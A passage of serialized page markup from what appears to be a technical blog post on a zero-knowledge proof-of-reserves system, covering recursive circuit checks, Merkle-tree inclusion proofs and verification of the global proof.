:26,"value":73},{"type":21,"tag":85,"props":95982,"children":95984},{"className":95983},[4776,22016],[95985],{"type":26,"value":335},{"type":21,"tag":85,"props":95987,"children":95989},{"className":95988},[4776,22016],[95990],{"type":26,"value":93500},{"type":21,"tag":85,"props":95992,"children":95994},{"className":95993},[4776,22016],[95995],{"type":26,"value":22158},{"type":21,"tag":85,"props":95997,"children":95999},{"className":95998,"style":93509},[4776],[96000],{"type":26,"value":3856},{"type":21,"tag":85,"props":96002,"children":96004},{"className":96003},[4776,22016],[96005],{"type":26,"value":93517},{"type":21,"tag":85,"props":96007,"children":96009},{"className":96008,"style":93521},[4776,22016],[96010],{"type":26,"value":93524},{"type":21,"tag":85,"props":96012,"children":96014},{"className":96013},[4776,22016],[96015],{"type":26,"value":93530},{"type":21,"tag":85,"props":96017,"children":96019},{"className":96018},[4776,22016],[96020],{"type":26,"value":94339},{"type":21,"tag":85,"props":96022,"children":96024},{"className":96023},[22145],[96025],{"type":26,"value":3016},{"type":21,"tag":85,"props":96027,"children":96029},{"className":96028},[4776,22016],[96030],{"type":26,"value":335},{"type":21,"tag":85,"props":96032,"children":96034},{"className":96033},[4776,22016],[96035],{"type":26,"value":93500},{"type":21,"tag":85,"props":96037,"children":96039},{"className":96038},[4776,22016],[96040],{"type":26,"value":22158},{"type":21,"tag":85,"props":96042,"children":96044},{"className":96043,"style":93509},[4776],[96045],{"type":26,"value":3856},{"type":21,"tag":85,"props":96047,"children":96049},{"className":96048},[4776,22016],[96050],{"type":26,"value":56860},{"type":21,"tag":85,"props":96052,"children":96054},{"className":96053},[4776,22016],[96055],{"type":26,"value":93768},{"type":21,"tag":85,"props":96057,"children":96059},{"className":96058},[4776,22016],[96060],{"type":26,"value":51589},{"type":21,"tag":85,"props":96062,"children":96064},{"className":96063},[22167],[96065],{"type":26,"value":15830},{"type":26,"value":790},{"type":21,"tag":873,"props":96068,"children":96069},{},[96070],{"type":26,"value":94899},{"type":21,"tag":845,"props":96072,"children":96073},{},[96074],{"type":21,"tag":66,"props":96075,"children":96077},{"className":96076},[4748,4749],[96078],{"type":21,"tag":85,"props":96079,"children":96081},{"className":96080},[4754],[96082],{"type":21,"tag":85,"props":96083,"children":96085},{"className":96084,"ariaHidden":4760},[4759],[96086,96192],{"type":21,"tag":85,"props":96087,"children":96089},{"className":96088},[4765],[96090,96094,96099,96104,96109,96114,96119,96124,96129,96134,96139,96144,96149,96154,96159,96164,96169,96174,96179,96183,96188],{"type":21,"tag":85,"props":96091,"children":96093},{"className":96092,"style":93451},[4770],[],{"type":21,"tag":85,"props":96095,"children":96097},{"className":96096},[4776,22016],[96098],{"type":26,"value":335},{"type":21,"tag":85,"props":96100,"children":96102},{"className":96101},[4776,22016],[96103],{"type":26,"value":93500},{"type":21,"tag":85,"props":96105,"children":96107},{"className":96106},[4776,22016],[96108],{"type":26,"value":22158},{"type":21,"tag":85,"props":96110,"children":96112},{"className":96111,"style":93509},[4776],[96113],{"type":26,"value":3856},{"type":21,"tag":85,"props":96115,"children":96117},{"className":96116},[4776,22016],[96118],{"type":26,"value":22},{"type":21,"tag":85,"props":96120,"children":96122},{"className":96121,"style":93509},[4776,22016],[96123],{"type":26,"value":94328},{"type":21,"tag":85,"props":96125,"children":96127},{"className":96126},[4776,22016],[96128],{"type":26,"value":3003},{"type":21,"tag":85,"props":96130,"children":96132},{"className":96131},[4776,22016],[96133],{"type":26,"value":93536},{"type":21,"tag":85,"props":96135,"children":96137},{"className":96136},[22145],[96138],{"type":26,"value":3016},{"type":21,"tag":85,"props":96140,"children":96142},{"className":96141},[4776,22016],[96143],{"type":26,"value":335},{"type":21,"tag":85,"props":96145,"children":96147},{"className":96146},[4776,22016],[96148],{"type":26,"value":93500},{"type":21,"tag":85,"props":96150,"children":96152},{"className":96151},[4776,22016],[96153],{"type":26,"value":22158},{"type":21,"tag":85,"props":96155,"children":96157},{"className":96156,"style":93509},[4776],[96158],{"type":26,"value":3856},{"type":21,"tag":85,"props":96160,"children":96162},{"className":96161},[4776,22016],[96163],{"type":26,"value":56860},{"type":21,"tag":85,"props":96165,"children":96167},{"className":96166},[4776,22016],[96168],{"type":26,"value":93768},{"type":21,"tag":85,"props":96170,"children":96172},{"className":96171},[4776,22016],[96173],{"type":26,"value":51589},{"type":21,"tag":85,"props":96175,"children":96177},{"className":96176},[22167],[96178],{"type":26,"value":15830},{"type":21,"tag":85,"props":96180,"children":96182},{"className":96181,"style":4955},[4857],[],{"type":21,"tag":85,"props":96184,"children":96186},{"className":96185},[4960],[96187],{"type":26,"value":2936},{"type":21,"tag":85,"props":96189,"children":96191},{"className":96190,"style":4955},[4857],[],{"type":21,"tag":85,"props":96193,"children":96195},{"className":96194},[4765],[96196,96200,96205,96210,96215,96220,96225,96282,96287,96292,96297,96302,96307,96312,96317,96322,96327,96332,96337,96342,96347,96352,96357,96362,96367,96372,96377,96382,96387,96392,96397],{"type":21,"tag":85,"props":96197,"children":96199},{"className":96198,"style":93451},[4770],[],{"type":21,"tag":85,"props":96201,"children":96203},{"className":96202},[4776,22016],[96204],{"type":26,"value":11067},{"type":21,"tag":85,"props":96206,"children":96208},{"className":96207},[4776,22016],[96209],{"type":26,"value":93768},{"type":21,"tag":85,"props":96211,"children":96213},{"className":96212},[4776,22016],[96214],{"type":26,"value":3994},{"type":21,"tag":85,"props":96216,"children":96218},{"className":96217},[4776,22016],[96219],{"type":26,"value":22},{"type":21,"tag":85,"props":96221,"children":96223},{"className":96222},[4776,22016],[96224],{"type":26,"value":95855},{"type":21,"tag":85,"props":96226,"children":96228},{"className":96227},[4776],[96229,96234],{"type":21,"tag":85,"props":96230,"children":96232},{"className":96231,"style":95863},[4776,22016],[96233],{"type":26,"value":33531},{"type":21,"tag":85,"props":96235,"children":96237},{"className":96236},[4793],[96238],{"type":21,"tag":85,"props":96239,"children":96241},{"className":96240},[4798,22070],[96242,96271],{"type":21,"tag":85,"props":96243,"children":96245},{"className":96244},[4803],[96246,96266],{"type":21,"tag":85,"props":96247,"children":96249},{"className":96248,"style":94038},[4808],[96250],{"type":21,"tag":85,"props":96251,"children":96252},{"style":95884},[96253,96257],{"type":21,"tag":85,"props":96254,"children":96256},{"className":96255,"style":4818},[4817],[],{"type":21,"tag":85,"props":96258,"children":96260},{"className":96259},[4823,4824,4825,4826],[96261],{"type":21,"tag":85,"props":96262,"children":96264},{"className":96263},[4776,22016,4826],[96265],{"type":26,"value":3003},{"type":21,"tag":85,"props":96267,"children":96269},{"className":96268},[22173],[96270],{"type":26,"value":22176},{"type":21,"tag":85,"props":96272,"children":96274},{"className":96273},[4803],[96275],{"type":21,"tag":85,"props":96276,"children":96278},{"className":96277,"style":93592},[4808],[96279],{"type":21,"tag":85,"props":96280,"children":96281},{},[],{"type":21,"tag":85,"props":96283,"children":96285},{"className":96284},[4776],[96286],{"type":26,"value":73},{"type":21,"tag":85,"props":96288,"children":96290},{"className":96289},[4776,22016],[96291],{"type":26,"value":22},{"type":21,"tag":85,"props":96293,"children":96295},{"className":96294},[4776,22016],[96296],{"type":26,"value":93768},{"type":21,"tag":85,"props":96298,"children":96300},{"className":96299},[4776,22016],[96301],{"type":26,"value":3994},{"type":21,"tag":85,"props":96303,"children":96305},{"className":96304,"style":93521},[4776,22016],[96306],{"type":26,"value":93524},{"type":21,"tag":85,"props":96308,"children":96310},{"className":96309},[4776,22016],[96311],{"type":26,"value":3003},{"type":21,"tag":85,"props":96313,"children":96315},{"className":96314},[4776,22016],[96316],{"type":26,"value":3918},{"type":21,"tag":85,"props":96318,"children":96320},{"className":96319,"style":93509},[4776],[96321],{"type":26,"value":3856},{"type":21,"tag":85,"props":96323,"children":96325},{"className":96324},[4776,22016],[96326],{"type":26,"value":95960},{"type":21,"tag":85,"props":96328,"children":96330},{"className":96329},[4776,22016],[96331],{"type":26,"value":22},{"type":21,"tag":85,"props":96333,"children":96335},{"className":96334},[4776,22016],[96336],{"type":26,"value":93768},{"type":21,"tag":85,"props":96338,"children":96340},{"className":96339},[4776,22016],[96341],{"type":26,"value":22158},{"type":21,"tag":85,"props":96343,"children":96345},{"className":96344},[4776],[96346],{"type":26,"value":73},{"type":21,"tag":85,"props":96348,"children":96350},{"className":96349},[4776,22016],[96351],{"type":26,"value":335},{"type":21,"tag":85,"props":96353,"children":96355},{"className":96354},[4776,22016],[96356],{"type":26,"value":93500},{"type":21,"tag":85,"props":96358,"children":96360},{"className":96359},[4776,22016],[96361],{"type":26,"value":22158},{"type":21,"tag":85,"props":96363,"children":96365},{"className":96364,"style":93509},[4776],[96366],{"type":26,"value":3856},{"type":21,"tag":85,"props":96368,"children":96370},{"className":96369},[4776,22016],[96371],{"type":26,"value":22},{"type":21,"tag":85,"props":96373,"children":96375},{"className":96374,"style":93509},[4776,22016],[96376],{"type":26,"value":94328},{"type":21,"tag":85,"props":96378,"children":96380},{"className":96379},[4776,22016],[96381],{"type":26,"value":3003},{"type":21,"tag":85,"props":96383,"children":96385},{"className":96384},[4776,22016],[96386],{"type":26,"value":94339},{"type":21,"tag":85,"props":96388,"children":96390},{"className":96389},[22145],[96391],{"type":26,"value":3016},{"type":21,"tag":85,"props":96393,"children":96395},{"className":96394},[4776],[96396],{"type":26,"value":4789},{"type":21,"tag":85,"props":96398,"children":96400},{"className":96399},[22167],[96401],{"type":26,"value":15830},{"type":21,"tag":845,"props":96403,"children":96404},{},[96405,96763,96764],{"type":21,"tag":66,"props":96406,"children":96408},{"className":96407},[4748,4749],[96409],{"type":21,"tag":85,"props":96410,"children":96412},{"className":96411},[4754],[96413],{"type":21,"tag":85,"props":96414,"children":96416},{"className":96415,"ariaHidden":4760},[4759],[96417,96523],{"type":21,"tag":85,"props":96418,"children":96420},{"className":96419},[4765],[96421,96425,96430,96435,96440,96445,96450,96455,96460,96465,96470,96475,96480,96485,96490,96495,96500,96505,96510,96514,96519],{"type":21,"tag":85,"props":96422,"children":96424},{"className":96423,"style":93451},[4770],[],{"type":21,"tag":85,"props":96426,"children":96428},{"className":96427},[4776,22016],[96429],{"type":26,"value":335},{"type":21,"tag":85,"props":96431,"children":96433},{"className":96432},[4776,22016],[96434],{"type":26,"value":93500},{"type":21,"tag":85,"props":96436,"children":96438},{"className":96437},[4776,22016],[96439],{"type":26,"value":22158},{"type":21,"tag":85,"props":96441,"children":96443},{"className":96442,"style":93509},[4776],[96444],{"type":26,"value":3856},{"type":21,"tag":85,"props":96446,"children":96448},{"className":96447},[4776,22016],[96449],{"type":26,"value":22},{"type":21,"tag":85,"props":96451,"children":96453},{"className":96452,"style":93509},[4776,22016],[96454],{"type":26,"value":94328},{"type":21,"tag":85,"props":96456,"children":96458},{"className":96457},[4776,22016],[96459],{"type":26,"value":3003},{"type":21,"tag":85,"props":96461,"children":96463},{"className":96462},[4776,22016],[96464],{"type":26,"value":93536},{"type":21,"tag":85,"props":96466,"children":96468},{"className":96467},[22145],[96469],{"type":26,"value":3016},{"type":21,"tag":85,"props":96471,"children":96473},{"className":96472},[4776,22016],[96474],{"type":26,"value":335},{"type":21,"tag":85,"props":96476,"children":96478},{"className":96477},[4776,22016],[96479],{"type":26,"value":93500},{"type":21,"tag":85,"props":96481,"children":96483},{"className":96482},[4776,22016],[96484],{"type":26,"value":22158},{"type":21,"tag":85,"props":96486,"children":96488},{"className":96487,"style":93509},[4776],[96489],{"type":26,"value":3856},{"type":21,"tag":85,"props":96491,"children":96493},{"className":96492},[4776,22016],[96494],{"type":26,"value":56860},{"type":21,"tag":85,"props":96496,"children":96498},{"className":96497},[4776,22016],[96499],{"type":26,"value":93768},{"type":21,"tag":85,"props":96501,"children":96503},{"className":96502},[4776,22016],[96504],{"type":26,"value":51589},{"type":21,"tag":85,"props":96506,"children":96508},{"className":96507},[22167],[96509],{"type":26,"value":15830},{"type":21,"tag":85,"props":96511,"children":96513},{"className":96512,"style":4955},[4857],[],{"type":21,"tag":85,"props":96515,"children":96517},{"className":96516},[4960],[96518],{"type":26,"value":2936},{"type":21,"tag":85,"props":96520,"children":96522},{"className":96521,"style":4955},[4857],[],{"type":21,"tag":85,"props":96524,"children":96526},{"className":96525},[4765],[96527,96531,96536,96541,96546,96551,96556,96613,96618,96623,96628,96633,96638,96643,96648,96653,96658,96663,96668,96673,96678,96683,96688,96693,96698,96703,96708,96713,96718,96723,96728,96733,96738,96743,96748,96753,96758],{"type":21,"tag":85,"props":96528,"children":96530},{"className":96529,"style":93451},[4770],[],{"type":21,"tag":85,"props":96532,"children":96534},{"className":96533},[4776,22016],[96535],{"type":26,"value":11067},{"type":21,"tag":85,"props":96537,"children":96539},{"className":96538},[4776,22016],[96540],{"type":26,"value":93768},{"type":21,"tag":85,"props":96542,"children":96544},{"className":96543},[4776,22016],[96545],{"type":26,"value":3994},{"type":21,"tag":85,"props":96547,"children":96549},{"className":96548},[4776,22016],[96550],{"type":26,"value":22},{"type":21,"tag":85,"props":96552,"children":96554},{"className":96553},[4776,22016],[96555],{"type":26,"value":95855},{"type":21,"tag":85,"props":96557,"children":96559},{"className":96558},[4776],[96560,96565],{"type":21,"tag":85,"props":96561,"children":96563},{"className":96562,"style":95863},[4776,22016],[96564],{"type":26,"value":33531},{"type":21,"tag":85,"props":96566,"children":96568},{"className":96567},[4793],[96569],{"type":21,"tag":85,"props":96570,"children":96572},{"className":96571},[4798,22070],[96573,96602],{"type":21,"tag":85,"props":96574,"children":96576},{"className":96575},[4803],[96577,96597],{"type":21,"tag":85,"props":96578,"children":96580},{"className":96579,"style":94038},[4808],[96581],{"type":21,"tag":85,"props":96582,"children":96583},{"style":95884},[96584,96588],{"type":21,"tag":85,"props":96585,"children":96587},{"className":96586,"style":4818},[4817],[],{"type":21,"tag":85,"props":96589,"children":96591},{"className":96590},[4823,4824,4825,4826],[96592],{"type":21,"tag":85,"props":96593,"children":96595},{"className":96594},[4776,22016,4826],[96596],{"type":26,"value":3003},{"type":21,"tag":85,"props":96598,"children":96600},{"className":96599},[22173],[96601],{"type":26,"value":22176},{"type":21,"tag":85,"props":96603,"children":96605},{"className":96604},[4803],[96606],{"type":21,"tag":85,"props":96607,"children":96609},{"className":96608,"style":93592},[4808],[96610],{"type":21,"tag":85,"props":96611,"children":96612},{},[],{"type":21,"tag":85,"props":96614,"children":96616},{"className":96615},[4776],[96617],{"type":26,"value":73},{"type":21,"tag":85,"props":96619,"children":96621},{"className":96620},[4776,22016],[96622],{"type":26,"value":22},{"type":21,"tag":85,"props":96624,"children":96626},{"className":96625},[4776,22016],[96627],{"type":26,"value":93768},{"type":21,"tag":85,"props":96629,"children":96631},{"className":96630},[4776,22016],[96632],{"type":26,"value":3994},{"type":21,"tag":85,"props":96634,"children":96636},{"className":96635,"style":93521},[4776,22016],[96637],{"type":26,"value":93524},{"type":21,"tag":85,"props":96639,"children":96641},{"className":96640},[4776,22016],[96642],{"type":26,"value":3003},{"type":21,"tag":85,"props":96644,"children":96646},{"className":96645},[4776,22016],[96647],{"type":26,"value":3918},{"type":21,"tag":85,"props":96649,"children":96651},{"className":96650,"style":93509},[4776],[96652],{"type":26,"value":3856},{"type":21,"tag":85,"props":96654,"children":96656},{"className":96655},[4776,22016],[96657],{"type":26,"value":95960},{"type":21,"tag":85,"props":96659,"children":96661},{"className":96660},[4776,22016],[96662],{"type":26,"value":22},{"type":21,"tag":85,"props":96664,"children":96666},{"className":96665},[4776,22016],[96667],{"type":26,"value":93768},{"type":21,"tag":85,"props":96669,"children":96671},{"className":96670},[4776,22016],[96672],{"type":26,"value":22158},{"type":21,"tag":85,"props":96674,"children":96676},{"className":96675},[4776],[96677],{"type":26,"value":73},{"type":21,"tag":85,"props":96679,"children":96681},{"className":96680},[4776,22016],[96682],{"type":26,"value":335},{"type":21,"tag":85,"props":96684,"children":96686},{"className":96685},[4776,22016],[96687],{"type":26,"value":93500},{"type":21,"tag":85,"props":96689,"children":96691},{"className":96690},[4776,22016],[96692],{"type":26,"value":22158},{"type":21,"tag":85,"props":96694,"children":96696},{"className":96695,"style":93509},[4776],[96697],{"type":26,"value":3856},{"type":21,"tag":85,"props":96699,"children":96701},{"className":96700},[4776,22016],[96702],{"type":26,"value":22},{"type":21,"tag":85,"props":96704,"children":96706},{"className":96705,"style":93509},[4776,22016],[96707],{"type":26,"value":94328},{"type":21,"tag":85,"props":96709,"children":96711},{"className":96710},[4776,22016],[96712],{"type":26,"value":3003},{"type":21,"tag":85,"props":96714,"children":96716},{"className":96715},[4776,22016],[96717],{"type":26,"value":94339},{"type":21,"tag":85,"props":96719,"children":96721},{"className":96720},[22145],[96722],{"type":26,"value":3016},{"type":21,"tag":85,"props":96724,"children":96726},{"className":96725},[4776,22016],[96727],{"type":26,"value":335},{"type":21,"tag":85,"props":96729,"children":96731},{"className":96730},[4776,22016],[96732],{"type":26,"value":93500},{"type":21,"tag":85,"props":96734,"children":96736},{"className":96735},[4776,22016],[96737],{"type":26,"value":22158},{"type":21,"tag":85,"props":96739,"children":96741},{"className":96740,"style":93509},[4776],[96742],{"type":26,"value":3856},{"type":21,"tag":85,"props":96744,"children":96746},{"className":96745},[4776,22016],[96747],{"type":26,"value":56860},{"type":21,"tag":85,"props":96749,"children":96751},{"className":96750},[4776,22016],[96752],{"type":26,"value":93768},{"type":21,"tag":85,"props":96754,"children":96756},{"className":96755},[4776,22016],[96757],{"type":26,"value":51589},{"type":21,"tag":85,"props":96759,"children":96761},{"className":96760},[22167],[96762],{"type":26,"value":15830},{"type":26,"value":790},{"type":21,"tag":873,"props":96765,"children":96766},{},[96767],{"type":26,"value":96768},"(verifies if all asset prices are the same)",{"type":21,"tag":845,"props":96770,"children":96771},{},[96772,97151,97152],{"type":21,"tag":66,"props":96773,"children":96775},{"className":96774},[4748,4749],[96776],{"type":21,"tag":85,"props":96777,"children":96779},{"className":96778},[4754],[96780],{"type":21,"tag":85,"props":96781,"children":96783},{"className":96782,"ariaHidden":4760},[4759],[96784,96865],{"type":21,"tag":85,"props":96785,"children":96787},{"className":96786},[4765],[96788,96792,96797,96802,96807,96812,96817,96822,96827,96832,96837,96842,96847,96852,96856,96861],{"type":21,"tag":85,"props":96789,"children":96791},{"className":96790,"style":94922},[4770],[],{"type":21,"tag":85,"props":96793,"children":96795},{"className":96794},[4776,22016],[96796],{"type":26,"value":51589},{"type":21,"tag":85,"props":96798,"children":96800},{"className":96799,"style":93509},[4776,22016],[96801],{"type":26,"value":94934},{"type":21,"tag":85,"props":96803,"children":96805},{"className":96804,"style":94938},[4776,22016],[96806],{"type":26,"value":89146},{"type":21,"tag":85,"props":96808,"children":96810},{"className":96809,"style":93521},[4776,22016],[96811],{"type":26,"value":93524},{"type":21,"tag":85,"props":96813,"children":96815},{"className":96814},[4776,22016],[96816],{"type":26,"value":51910},{"type":21,"tag":85,"props":96818,"children":96820},{"className":96819,"style":93509},[4776],[96821],{"type":26,"value":3856},{"type":21,"tag":85,"props":96823,"children":96825},{"className":96824},[4776,22016],[96826],{"type":26,"value":22158},{"type":21,"tag":85,"props":96828,"children":96830},{"className":96829},[4776,22016],[96831],{"type":26,"value":94966},{"type":21,"tag":85,"props":96833,"children":96835},{"className":96834,"style":93509},[4776],[96836],{"type":26,"value":3856},{"type":21,"tag":85,"props":96838,"children":96840},{"className":96839},[4776,22016],[96841],{"type":26,"value":94977},{"type":21,"tag":85,"props":96843,"children":96845},{"className":96844},[4776,22016],[96846],{"type":26,"value":11067},{"type":21,"tag":85,"props":96848,"children":96850},{"className":96849},[4776,22016],[96851],{"type":26,"value":84807},{"type":21,"tag":85,"props":96853,"children":96855},{"className":96854,"style":4955},[4857],[],{"type":21,"tag":85,"props":96857,"children":96859},{"className":96858},[4960],[96860],{"type":26,"value":2936},{"type":21,"tag":85,"props":96862,"children":96864},{"className":96863,"style":4955},[4857],[],{"type":21,"tag":85,"props":96866,"children":96868},{"className":96867},[4765],[96869,96873,96878,96883,96888,96893,96898,96903,96908,96913,96918,96975,96980,96984,96989,96994,97051,97056,97060,97065,97070,97074,97079,97084,97146],{"type":21,"tag":85,"props":96870,"children":96872},{"className":96871,"style":4878},[4770],[],{"type":21,"tag":85,"props":96874,"children":96876},{"className":96875,"style":22017},[4776,22016],[96877],{"type":26,"value":22020},{"type":21,"tag":85,"props":96879,"children":96881},{"className":96880},[4776,22016],[96882],{"type":26,"value":93463},{"type":21,"tag":85,"props":96884,"children":96886},{"className":96885},[4776,22016],[96887],{"type":26,"value":3003},{"type":21,"tag":85,"props":96889,"children":96891},{"className":96890},[4776,22016],[96892],{"type":26,"value":71024},{"type":21,"tag":85,"props":96894,"children":96896},{"className":96895},[4776,22016],[96897],{"type":26,"value":93479},{"type":21,"tag":85,"props":96899,"children":96901},{"className":96900},[4776,22016],[96902],{"type":26,"value":56860},{"type":21,"tag":85,"props":96904,"children":96906},{"className":96905},[22145],[96907],{"type":26,"value":1439},{"type":21,"tag":85,"props":96909,"children":96911},{"className":96910},[4776,22016],[96912],{"type":26,"value":94977},{"type":21,"tag":85,"props":96914,"children":96916},{"className":96915},[4776,22016],[96917],{"type":26,"value":11067},{"type":21,"tag":85,"props":96919,"children":96921},{"className":96920},[4776],[96922,96927],{"type":21,"tag":85,"props":96923,"children":96925},{"className":96924},[4776,22016],[96926],{"type":26,"value":84807},{"type":21,"tag":85,"props":96928,"children":96930},{"className":96929},[4793],[96931],{"type":21,"tag":85,"props":96932,"children":96934},{"className":96933},[4798,22070],[96935,96964],{"type":21,"tag":85,"props":96936,"children":96938},{"className":96937},[4803],[96939,96959],{"type":21,"tag":85,"props":96940,"children":96942},{"className":96941,"style":93561},[4808],[96943],{"type":21,"tag":85,"props":96944,"children":96945},{"style":93565},[96946,96950],{"type":21,"tag":85,"props":96947,"children":96949},{"className":96948,"style":4818},[4817],[],{"type":21,"tag":85,"props":96951,"children":96953},{"className":96952},[4823,4824,4825,4826],[96954],{"type":21,"tag":85,"props":96955,"children":96957},{"className":96956},[4776,4826],[96958],{"type":26,"value":4789},{"type":21,"tag":85,"props":96960,"children":96962},{"className":96961},[22173],[96963],{"type":26,"value":22176},{"type":21,"tag":85,"props":96965,"children":96967},{"className":96966},[4803],[96968],{"type":21,"tag":85,"props":96969,"children":96971},{"className":96970,"style":93592},[4808],[96972],{"type":21,"tag":85,"props":96973,"children":96974},{},[],{"type":21,"tag":85,"props":96976,"children":96978},{"className":96977},[4889],[96979],{"type":26,"value":4892},{"type":21,"tag":85,"props":96981,"children":96983},{"className":96982,"style":4896},[4857],[],{"type":21,"tag":85,"props":96985,"children":96987},{"className":96986},[4776,22016],[96988],{"type":26,"value":94977},{"type":21,"tag":85,"props":96990,"children":96992},{"className":96991},[4776,22016],[96993],{"type":26,"value":11067},{"type":21,"tag":85,"props":96995,"children":96997},{"className":96996},[4776],[96998,97003],{"type":21,"tag":85,"props":96999,"children":97001},{"className":97000},[4776,22016],[97002],{"type":26,"value":84807},{"type":21,"tag":85,"props":97004,"children":97006},{"className":97005},[4793],[97007],{"type":21,"tag":85,"props":97008,"children":97010},{"className":97009},[4798,22070],[97011,97040],{"type":21,"tag":85,"props":97012,"children":97014},{"className":97013},[4803],[97015,97035],{"type":21,"tag":85,"props":97016,"children":97018},{"className":97017,"style":93561},[4808],[97019],{"type":21,"tag":85,"props":97020,"children":97021},{"style":93565},[97022,97026],{"type":21,"tag":85,"props":97023,"children":97025},{"className":97024,"style":4818},[4817],[],{"type":21,"tag":85,"props":97027,"children":97029},{"className":97028},[4823,4824,4825,4826],[97030],{"type":21,"tag":85,"props":97031,"children":97033},{"className":97032},[4776,4826],[97034],{"type":26,"value":4779},{"type":21,"tag":85,"props":97036,"children":97038},{"className":97037},[22173],[97039],{"type":26,"value":22176},{"type":21,"tag":85,"props":97041,"children":97043},{"className":97042},[4803],[97044],{"type":21,"tag":85,"props":97045,"children":97047},{"className":97046,"style":93592},[4808],[97048],{"type":21,"tag":85,"props":97049,"children":97050},{},[],{"type":21,"tag":85,"props":97052,"children":97054},{"className":97053},[4889],[97055],{"type":26,"value":4892},{"type":21,"tag":85,"props":97057,"children":97059},{"className":97058,"style":4896},[4857],[],{"type":21,"tag":85,"props":97061,"children":97063},{"className":97062},[4776],[97064],{"type":26,"value":10004},{"type":21,"tag":85,"props":97066,"children":97068},{"className":97067},[4889],[97069],{"type":26,"value":4892},{"type":21,"tag":85,"props":97071,"children":97073},{"className":97072,"style":4896},[4857],[],{"type":21,"tag":85,"props":97075,"children":97077},{"className":97076},[4776,22016],[97078],{"type":26,"value":94977},{"type":21,"tag":85,"props":97080,"children":97082},{"className":97081},[4776,22016],[97083],{"type":26,"value":11067},{"type":21,"tag":85,"props":97085,"children":97087},{"className":97086},[4776],[97088,97093],{"type":21,"tag":85,"props":97089,"children":97091},{"className":97090},[4776,22016],[97092],{"type":26,"value":84807},{"type":21,"tag":85,"props":97094,"children":97096},{"className":97095},[4793],[97097],{"type":21,"tag":85,"props":97098,"children":97100},{"className":97099},[4798,22070],[97101,97135],{"type":21,"tag":85,"props":97102,"children":97104},{"className":97103},[4803],[97105,97130],{"type":21,"tag":85,"props":97106,"children":97108},{"className":97107,"style":93561},[4808],[97109],{"type":21,"tag":85,"props":97110,"children":97111},{"style":93565},[97112,97116],{"type":21,"tag":85,"props":97113,"children":97115},{"className":97114,"style":4818},[4817],[],{"type":21,"tag":85,"props":97117,"children":97119},{"className":97118},[4823,4824,4825,4826],[97120],{"type":21,"tag":85,"props":97121,"children":97123},{"className":97122},[4776,4826],[97124],{"type":21,"tag":85,"props":97125,"children":97127},{"className":97126},[4776,4826],[97128],{"type":26,"value":97129},"31",{"type":21,"tag":85,"props":97131,"children":97133},{"className":97132},[22173],[97134],{"type":26,"value":22176},{"type":21,"tag":85,"props":97136,"children":97138},{"className":97137},[4803],[97139],{"type":21,"tag":85,"props":97140,"children":97142},{"className":97141,"style":93592},[4808],[97143],{"type":21,"tag":85,"props":97144,"children":97145},{},[],{"type":21,"tag":85,"props":97147,"children":97149},{"className":97148},[22167],[97150],{"type":26,"value":1900},{"type":26,"value":790},{"type":21,"tag":873,"props":97153,"children":97154},{},[97155],{"type":26,"value":95297},{"type":21,"tag":845,"props":97157,"children":97158},{},[97159,97164,97165],{"type":21,"tag":39,"props":97160,"children":97161},{},[97162],{"type":26,"value":97163},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":26,"value":790},{"type":21,"tag":873,"props":97166,"children":97167},{},[97168],{"type":26,"value":95581},{"type":21,"tag":22,"props":97170,"children":97171},{},[97172],{"type":26,"value":97173},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":21,"tag":22,"props":97175,"children":97176},{},[97177],{"type":21,"tag":4681,"props":97178,"children":97180},{"alt":51034,"src":97179},"/posts/por/recursive-circuit.png",[],{"type":21,"tag":54,"props":97182,"children":97184},{"id":97183},"global-proof-and-inclusion-proofs",[97185],{"type":26,"value":97186},"Global Proof and Inclusion Proofs",{"type":21,"tag":10022,"props":97188,"children":97189},{"id":9694},[97190],{"type":26,"value":97191},"Proving",{"type":21,"tag":22,"props":97193,"children":97194},{},[97195,97197,97203,97204,97210,97211,97217],{"type":26,"value":97196},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":21,"tag":66,"props":97198,"children":97200},{"className":97199},[],[97201],{"type":26,"value":97202},"merkle_tree.json",{"type":26,"value":256},{"type":21,"tag":66,"props":97205,"children":97207},{"className":97206},[],[97208],{"type":26,"value":97209},"final_proof.json",{"type":26,"value":820},{"type":21,"tag":66,"props":97212,"children":97214},{"className":97213},[],[97215],{"type":26,"value":97216},"private_nonces.json",{"type":26,"value":97218}," files.",{"type":21,"tag":22,"props":97220,"children":97221},{},[97222],{"type":26,"value":97223},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":21,"tag":22,"props":97225,"children":97226},{},[97227,97229,97235,97237,97242],{"type":26,"value":97228},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":21,"tag":66,"props":97230,"children":97232},{"className":97231},[],[97233],{"type":26,"value":97234},"inclusion_proof_\u003Cid>.json",{"type":26,"value":97236},"). ",{"type":21,"tag":39,"props":97238,"children":97239},{},[97240],{"type":26,"value":97241},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":26,"value":73},{"type":21,"tag":10022,"props":97244,"children":97246},{"id":97245},"verifying",[97247],{"type":26,"value":97248},"Verifying",{"type":21,"tag":22,"props":97250,"children":97251},{},[97252],{"type":21,"tag":873,"props":97253,"children":97254},{},[97255],{"type":26,"value":97256},"Global Proof",{"type":21,"tag":22,"props":97258,"children":97259},{},[97260,97262,97267,97268,97273],{"type":26,"value":97261},"To verify the global proof, the code deserializes the ",{"type":21,"tag":66,"props":97263,"children":97265},{"className":97264},[],[97266],{"type":26,"value":97202},{"type":26,"value":37998},{"type":21,"tag":66,"props":97269,"children":97271},{"className":97270},[],[97272],{"type":26,"value":97209},{"type":26,"value":97274}," files and performs these checks:",{"type":21,"tag":841,"props":97276,"children":97277},{},[97278,97283,97288,97293,97319],{"type":21,"tag":845,"props":97279,"children":97280},{},[97281],{"type":26,"value":97282},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":21,"tag":845,"props":97284,"children":97285},{},[97286],{"type":26,"value":97287},"Verify the ZK final proof.",{"type":21,"tag":845,"props":97289,"children":97290},{},[97291],{"type":26,"value":97292},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are 